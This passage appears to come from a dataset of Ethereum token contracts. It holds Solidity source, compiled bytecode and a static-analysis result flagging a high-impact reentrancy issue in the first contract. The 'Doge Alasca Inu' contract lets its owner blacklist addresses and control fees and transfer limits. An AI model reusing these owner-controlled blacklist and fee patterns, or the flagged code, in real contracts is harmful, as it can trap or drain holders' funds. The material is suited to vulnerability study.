function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104eb578063dd62ed3e1461050b578063ea1644d514610551578063f2fde38b1461057157600080fd5b8063a2a957bb14610466578063a9059cbb14610486578063bfd79284146104a6578063c3c8cd80146104d657600080fd5b80638f70ccf7116100d15780638f70ccf7146104105780638f9a55c01461043057806395d89b41146101f357806398a5c3151461044657600080fd5b806374010ece146103bc5780637d1db4a5146103dc5780638da5cb5b146103f257600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103525780636fc3eaec1461037257806370a0823114610387578063715018a6146103a757600080fd5b8063313ce567146102f657806349bd5a5e146103125780636b9990531461033257600080fd5b80631694505e116101a05780631694505e1461026257806318160ddd1461029a57806323b872dd146102c05780632fd689e3146102e057600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023257600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab9565b610591565b005b3480156101ff57600080fd5b5060408051808201825260078152665348494e4f4b5560c81b602082015290516102299190611be3565b60405180910390f35b34801561023e57600080fd5b5061025261024d366004611a0f565b61063e565b6040519015158152602001610229565b34801561026e57600080fd5b50601454610282906001600160a01b031681565b6040516001600160a01b039091168152602001610229565b3480156102a657600080fd5b50683635c9adc5dea000005b604051908152602001610229565b3480156102cc57600080fd5b506102526102db3660046119cf565b610655565b3480156102ec57600080fd5b506102b260185481565b34801561030257600080fd5b5060405160098152602001610229565b34801561031e57600080fd5b50601554610282906001600160a01b031681565b34801561033e57600080fd5b506101f161034d36600461195f565b6106be565b34801561035e57600080fd5b506101f161036d366004611b80565b610709565b34801561037e57600080fd5b506101f1610751565b34801561039357600080fd5b506102b26103a236600461195f565b61079c565b3480156103b357600080fd5b506101f16107be565b3480156103c857600080fd5b506101f16103d7366004611b9a565b610832565b3480156103e857600080fd5b506102b260165481565b3480156103fe57600080fd5b506000546001600160a01b0316610282565b34801561041c57600080fd5b506101f161042b366004611b80565b610861565b34801561043c57600080fd5b506102b260175481565b34801561045257600080fd5b506101f1610461366004611b9a565b6108a9565b34801561047257600080fd5b506101f1610481366004611bb2565b6108d8565b34801561049257600080fd5b506102526104a1366004611a0f565b610916565b3480156104b257600080fd5b506102526104c136600461195f565b60106020526000908152604090205460ff1681565b3480156104e257600080fd5b506101f1610923565b3480156104f757600080fd5b506101f1610506366004611a3a565b610977565b34801561051757600080fd5b506102b2610526366004611997565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055d57600080fd5b506101f161056c366004611b9a565b610a26565b34801561057d57600080fd5b506101f161058c36600461195f565b610a55565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016105bb90611c36565b60405180910390fd5b60005b815181101561063a576001601060008484815181106105f657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063281611d49565b9150506105c7565b5050565b600061064b338484610b3f565b5060015b92915050565b6000610662848484610c63565b6106b484336106af85604051806060016040528060288152602001611da6602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061119f565b610b3f565b5060019392505050565b6000546001600160a01b031633146106e85760405162461bcd60e51b81526004016105bb90611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107335760405162461bcd60e51b81526004016105bb90611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061078657506013546001600160a01b0316336001600160a01b0316145b61078f57600080fd5b47610799816111d9565b50565b6001600160a01b03811660009081526002602052604081205461064f9061125e565b6000546001600160a01b031633146107e85760405162461bcd60e51b81526004016105bb90611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461085c5760405162461bcd60e51b81526004016105bb90611c36565b601655565b6000546001600160a01b0316331461088b5760405162461bcd60e51b81526004016105bb90611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108d35760405162461bcd60e51b81526004016105bb90611c36565b601855565b6000546001600160a01b031633146109025760405162461bcd60e51b81526004016105bb90611c36565b600893909355600a91909155600955600b55565b600061064b338484610c63565b6012546001600160a01b0316336001600160a01b0316148061095857506013546001600160a01b0316336001600160a01b0316145b61096157600080fd5b600061096c3061079c565b9050610799816112e2565b6000546001600160a01b031633146109a15760405162461bcd60e51b81526004016105bb90611c36565b60005b82811015610a205781600560008686858181106109d157634e487b7160e01b600052603260045260246000fd5b90506020020160208101906109e6919061195f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1881611d49565b9150506109a4565b50505050565b6000546001600160a01b03163314610a505760405162461bcd60e51b81526004016105bb90611c36565b601755565b6000546001600160a01b03163314610a7f5760405162461bcd60e51b81526004016105bb90611c36565b6001600160a01b038116610ae45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ba15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bb565b6001600160a01b038216610c025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bb565b6001600160a01b038216610d295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bb565b60008111610d8b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bb565b6000546001600160a01b03848116911614801590610db757506000546001600160a01b03838116911614155b1561109857601554600160a01b900460ff16610e50576000546001600160a01b03848116911614610e505760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105bb565b601654811115610ea25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bb565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee457506001600160a01b03821660009081526010602052604090205460ff16155b610f3c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105bb565b6015546001600160a01b03838116911614610fc15760175481610f5e8461079c565b610f689190611cdb565b10610fc15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bb565b6000610fcc3061079c565b601854601654919250821015908210610fe55760165491505b808015610ffc5750601554600160a81b900460ff16155b801561101657506015546001600160a01b03868116911614155b801561102b5750601554600160b01b900460ff165b801561105057506001600160a01b03851660009081526005602052604090205460ff16155b801561107557506001600160a01b03841660009081526005602052604090205460ff16155b1561109557611083826112e2565b47801561109357611093476111d9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110da57506001600160a01b03831660009081526005602052604090205460ff165b8061110c57506015546001600160a01b0385811691161480159061110c57506015546001600160a01b03848116911614155b1561111957506000611193565b6015546001600160a01b03858116911614801561114457506014546001600160a01b03848116911614155b1561115657600854600c55600954600d555b6015546001600160a01b03848116911614801561118157506014546001600160a01b03858116911614155b1561119357600a54600c55600b54600d555b610a2084848484611487565b600081848411156111c35760405162461bcd60e51b81526004016105bb9190611be3565b5060006111d08486611d32565b95945050505050565b6012546001600160a01b03166108fc6111f38360026114b5565b6040518115909202916000818181858888f1935050505015801561121b573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112368360026114b5565b6040518115909202916000818181858888f1935050505015801561063a573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bb565b60006112cf6114f7565b90506112db83826114b5565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138c57600080fd5b505afa1580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c4919061197b565b816001815181106113e557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461140b9130911684610b3f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611444908590600090869030904290600401611c6b565b600060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114945761149461151a565b61149f848484611548565b80610a2057610a20600e54600c55600f54600d55565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163f565b600080600061150461166d565b909250905061151382826114b5565b9250505090565b600c5415801561152a5750600d54155b1561153157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061155a876116af565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158c908761170c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115bb908661174e565b6001600160a01b0389166000908152600260205260409020556115dd816117ad565b6115e784836117f7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162c91815260200190565b60405180910390a3505050505050505050565b600081836116605760405162461bcd60e51b81526004016105bb9190611be3565b5060006111d08486611cf3565b6006546000908190683635c9adc5dea0000061168982826114b5565b8210156116a657505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006116cc8a600c54600d5461181b565b92509250925060006116dc6114f7565b905060008060006116ef8e878787611870565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061119f565b60008061175b8385611cdb565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bb565b60006117b76114f7565b905060006117c583836118c0565b306000908152600260205260409020549091506117e2908261174e565b30600090815260026020526040902055505050565b600654611804908361170c565b600655600754611814908261174e565b6007555050565b6000808080611835606461182f89896118c0565b906114b5565b90506000611848606461182f8a896118c0565b905060006118608261185a8b8661170c565b9061170c565b9992985090965090945050505050565b600080808061187f88866118c0565b9050600061188d88876118c0565b9050600061189b88886118c0565b905060006118ad8261185a868661170c565b939b939a50919850919650505050505050565b6000826118cf5750600061064f565b60006118db8385611d13565b9050826118e88583611cf3565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bb565b803561194a81611d90565b919050565b8035801515811461194a57600080fd5b600060208284031215611970578081fd5b81356112db81611d90565b60006020828403121561198c578081fd5b81516112db81611d90565b600080604083850312156119a9578081fd5b82356119b481611d90565b915060208301356119c481611d90565b809150509250929050565b6000806000606084860312156119e3578081fd5b83356119ee81611d90565b925060208401356119fe81611d90565b929592945050506040919091013590565b60008060408385031215611a21578182fd5b8235611a2c81611d90565b946020939093013593505050565b600080600060408486031215611a4e578283fd5b833567ffffffffffffffff80821115611a65578485fd5b818601915086601f830112611a78578485fd5b813581811115611a86578586fd5b8760208260051b8501011115611a9a578586fd5b602092830195509350611ab0918601905061194f565b90509250925092565b60006020808385031215611acb578182fd5b823567ffffffffffffffff80821115611ae2578384fd5b818501915085601f830112611af5578384fd5b813581811115611b0757611b07611d7a565b8060051b604051601f19603f83011681018181108582111715611b2c57611b2c611d7a565b604052828152858101935084860182860187018a1015611b4a578788fd5b8795505b83861015611b7357611b5f8161193f565b855260019590950194938601938601611b4e565b5098975050505050505050565b600060208284031215611b91578081fd5b6112db8261194f565b600060208284031215611bab578081fd5b5035919050565b60008060008060808587031215611bc7578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0f57858101830151858201604001528201611bf3565b81811115611c205783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cba5784516001600160a01b031683529383019391830191600101611c95565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cee57611cee611d64565b500190565b600082611d0e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2d57611d2d611d64565b500290565b600082821015611d4457611d44611d64565b500390565b6000600019821415611d5d57611d5d611d64565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461079957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207c0d225a2f2c475850dec2ce017f70871d4c42e0192f3da727cbba8f01b8d6bc64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,810 |
0xf663d3628fe90b718cbf35a5f1a4e5ab1f96cc24
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract alascainu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Alasca Inu";
string private constant _symbol = "Alasca Inu ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600f81526020017f446f676520416c6173636120496e750000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f416c6173636120496e7520000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673